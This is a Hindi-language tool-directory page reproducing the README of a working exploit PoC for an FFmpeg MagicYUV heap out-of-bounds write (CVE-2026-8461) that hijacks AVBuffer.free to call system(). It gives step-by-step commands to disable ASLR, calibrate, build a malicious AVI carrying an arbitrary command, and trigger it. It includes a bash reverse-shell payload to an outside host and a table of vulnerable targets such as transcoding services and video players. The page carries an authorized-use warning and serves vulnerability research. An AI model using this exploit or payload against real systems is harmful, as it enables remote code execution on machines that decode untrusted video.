Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-8461-EXP — FFmpeg MagicYUV हीप OOB राइट (CVE-2026-8461) के लिए काम करने वाला एक्सप्लॉइट PoC, जिसमें डीबग और प्रोडक्शन बिल्ड्स के लिए स्वचालित कैलिब्रेशन स्क्रिप्ट्स शामिल हैं, जो AVBuffer.free हाइजैक के माध्यम से कमांड इंजेक्शन सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/y5neko/cve-2026-8461-exp
भेद्यता विश्लेषणशोषणCTFलर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHuby5neko/cve-2026-8461-exp

CVE-2026-8461-EXP

FFmpeg MagicYUV हीप OOB राइट (CVE-2026-8461) के लिए काम करने वाला एक्सप्लॉइट PoC, जिसमें डीबग और प्रोडक्शन बिल्ड्स के लिए स्वचालित कैलिब्रेशन स्क्रिप्ट्स शामिल हैं, जो AVBuffer.free हाइजैक के माध्यम से कमांड इंजेक्शन सक्षम करता है।

रिपॉजिटरी देखें
1421 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-8461 "PixelSmash" — FFmpeg MagicYUV Heap OOB Write PoC

[!चेतावनी] इस रिपॉजिटरी में heap corruption भेद्यता के लिए एक कार्यशील exploit PoC है। यह केवल अधिकृत सुरक्षा अनुसंधान, CTF संदर्भों और रक्षात्मक विश्लेषण के लिए है। उन प्रणालियों पर उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।

प्रभावित: FFmpeg 8.0.1 MagicYUV डिकोडर (libavcodec/magicyuv.c)
प्राइमिटिव: Heap OOB लिखें → AVBuffer.free हाईजैक → system() कॉल


भेद्यता

magy_decode_slice() Cb/Cr आउटपुट प्लेन में लिखने के लिए लूप बाउंड के रूप में sheight (अनक्लैम्प्ड स्लाइस ऊंचाई) का उपयोग करता है, लेकिन क्लैम्प्ड height का उपयोग करके बफर आवंटित करता है। विशेष रूप से तैयार किए गए फ्रेम की अंतिम स्लाइस पर, लूप आवंटित क्षेत्र के अंत से परे लिखता है।

root@kitploit:~
// magicyuv.c:291 — dst पॉइंटर पहले से ही sheight×stride बफर शुरू करने के बाद है
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
    dst[i] = get_vlc2(...);   // OOB लिखें जब sheight > height

आउट-ऑफ-बाउंड लिखने से बाद में आवंटित AVBuffer संरचना में उतरता है। लिखे गए बाइट्स को नियंत्रित करके, AVBuffer.free को system() के पते से और AVBuffer.opaque को हीप पर कमांड स्ट्रिंग के पते से ओवरराइट किया जाता है। जब फ्रेम मुक्त किया जाता है, तो av_buffer_unref() system(cmd) को कॉल करता है।

पूर्ण तकनीकी लेख: अंग्रेज़ी · 中文


फ़ाइलें


आवश्यकताएँ

root@kitploit:~
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0   (ASLR अक्षम — कैलिब्रेशन के लिए आवश्यक)

Python निर्भरताएँ: कोई नहीं (केवल stdlib)।


त्वरित आरंभ

चरण 0 — ASLR अक्षम करें

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0

चरण 1 — कैलिब्रेशन उत्पन्न करें

डिबग बिल्ड (-g के साथ संकलित, जैसे --enable-debug के साथ स्रोत से):

root@kitploit:~
python3 auto_calibrate.py \
    --ffmpeg /path/to/ffmpeg-debug \
    --avi    /tmp/exploit.avi \
    -o       calibration.json

प्रोडक्शन बिल्ड (स्ट्रिप किया गया शेयर्ड-लाइब्रेरी, जैसे apt install ffmpeg या कस्टम --enable-shared):

root@kitploit:~
python3 auto_calibrate_nosym.py \
    --ffmpeg  /path/to/ffmpeg \
    --libpath /path/to/ffmpeg/lib \
    --avi     /tmp/exploit.avi \
    -o        calibration.json

--avi पथ कैलिब्रेशन और एक्सप्लॉइट डिलीवरी के बीच समान होना चाहिए। पथ स्ट्रिंग की लंबाई बदलने से हीप लेआउट बदल जाता है और कैलिब्रेशन अमान्य हो जाता है।

चरण 2 — एक्सप्लॉइट AVI उत्पन्न करें

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "id > /tmp/pwned" \
    -o /tmp/exploit.avi

चरण 3 — ट्रिगर करें

root@kitploit:~
# डिबग बिल्ड (स्टैटिकली लिंक्ड)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -

# प्रोडक्शन बिल्ड (शेयर्ड-लाइब्रेरी)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -

# सिस्टम-स्थापित FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -

अपेक्षित आउटपुट: कमांड निष्पादित होती है, फिर प्रक्रिया corrupted size vs. prev_size के साथ क्रैश हो जाती है।

root@kitploit:~
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

image-20260624151409029

रिवर्स शेल उदाहरण

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    -o /tmp/exploit.avi

कैलिब्रेशन स्क्रिप्ट निर्णय प्रवाह

root@kitploit:~
लक्ष्य FFmpeg बाइनरी
    │
    ├─ क्या डिबग प्रतीक हैं? (file ffmpeg | grep debug_info)
    │       └─ हाँ → auto_calibrate.py
    │
    └─ स्ट्रिप / प्रोडक्शन
            │
            ├─ डायनामिकली लिंक्ड? (ldd ffmpeg | grep libavutil)
            │       └─ हाँ → auto_calibrate_nosym.py
            │
            └─ स्थैतिक रूप से लिंक्ड + पूरी तरह से स्ट्रिप
                    └─ कोई भी स्क्रिप्ट लागू नहीं होती
                       (LD_PRELOAD malloc हुक दृष्टिकोण की आवश्यकता है)

auto_calibrate_nosym.py इस प्रकार काम करता है:

  1. Cb और Cr डेटा पॉइंटर्स को कैप्चर करने के लिए av_buffer_create पर ब्रेक करना (हमेशा libavutil.so .dynsym में मौजूद), स्रोत-स्तर के प्रतीकों की आवश्यकता नहीं है।
  2. OOB प्रारंभ पते पर GDB हार्डवेयर राइट वॉचपॉइंट सेट करना।
  3. AVBuffer संरचना का पता लगाने और system() पता निकालने के लिए परिणामी हीप डंप को चलना।

ट्रिगर आवश्यकताएँ

एक्सप्लॉइट तब फायर होता है जब लक्ष्य वीडियो फ्रेम को डिकोड करता है (सिर्फ प्रोब नहीं करता):


बेसलाइन PoC (केवल OOB लिखें, कोई पेलोड नहीं)

कमांड निष्पादित किए बिना भेद्यता प्रदर्शित करने के लिए:

root@kitploit:~
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# क्रैश: free(): invalid pointer या corrupted size vs. prev_size

दायरा और सीमाएँ

  • आर्किटेक्चर: केवल x86_64 पर विकसित और परीक्षण किया गया। एक्सप्लॉइट एक विशिष्ट हीप लेआउट पर निर्भर करता है जहाँ AVBuffer संरचना Cb प्लेन OOB प्रारंभ पते के 640 बाइट्स के भीतर आती है। aarch64 पर, glibc आवंटन क्रम AVBuffer को उस सीमा से परे रखता है (आसन्न हिस्सा ~10 KB Cr बफर है), इसलिए OOB लिखने से वर्तमान फ्रेम ज्यामिति के साथ उस तक नहीं पहुँचा जा सकता है। aarch64 पर पोर्ट करने के लिए aarch64 हीप लेआउट का प्रोफाइलिंग और तदनुसार फ्रेम ज्यामिति को समायोजित करना आवश्यक है।
  • ASLR: अक्षम होना चाहिए (kernel.randomize_va_space=0)। ASLR सक्षम होने पर, हीप पते प्रति-रन यादृच्छिक होते हैं और कैलिब्रेशन लागू नहीं होता है। ASLR-सक्षम लक्ष्यों पर इसे विस्तारित करने के लिए एक सूचना-लीक प्राइमिटिव की आवश्यकता होगी।
  • कैलिब्रेशन दायरा: एक विशिष्ट बाइनरी पर एक विशिष्ट मशीन पर मान्य। एक अलग बिल्ड, अलग libc संस्करण, या अलग AVI पथ लंबाई के लिए पुन: कैलिब्रेशन आवश्यक है।
  • AVI पथ: एक्सप्लॉइट AVI को कैलिब्रेशन के दौरान उपयोग किए गए समान निरपेक्ष पथ के माध्यम से वितरित किया जाना चाहिए।
  • auto_calibrate_nosym.py: एक डायनामिकली लिंक्ड FFmpeg की आवश्यकता है जहाँ libavutil.so सुलभ हो (सिस्टम पथों में या --libpath के माध्यम से)।
टूल डाउनलोड करें
फ़ाइलविवरण
exploit_cve_2026_8461.pyएक्सप्लॉइट AVI जनरेटर — दुर्भावनापूर्ण MagicYUV बिटस्ट्रीम तैयार करता है
auto_calibrate.pyडिबग बिल्ड के लिए ऑटो-कैलिब्रेशन (-g डिबग प्रतीकों की आवश्यकता है)
auto_calibrate_nosym.pyप्रोडक्शन बिल्ड के लिए ऑटो-कैलिब्रेशन (स्ट्रिप किया गया, शेयर्ड-लाइब्रेरी)
CVE-2026-8461_Analysis_EN.mdपूर्ण भेद्यता विश्लेषण (अंग्रेज़ी)
CVE-2026-8461_Analysis.mdपूर्ण भेद्यता विश्लेषण (中文)
ffmpeg_prodस्थानीय परीक्षण के लिए स्ट्रिप किया गया प्रोडक्शन FFmpeg 8.0.1 बाइनरी
आह्वानRCE ट्रिगर करता है
ffmpeg -i evil.avi -f null -हाँ
ffmpeg -i evil.avi -o out.mp4हाँ
वेब ट्रांसकोडिंग सेवा (libavcodec डिकोड लूप)हाँ
libavcodec का उपयोग करने वाला वीडियो प्लेयरहाँ
ffmpeg -i evil.avi (कोई आउटपुट निर्दिष्ट नहीं)नहीं — av_buffer_unref फायर होने से पहले प्रक्रिया समाप्त हो जाती है
ffprobe evil.aviनहीं — प्रोब-ओनली पथ, कोई पूर्ण डिकोड नहीं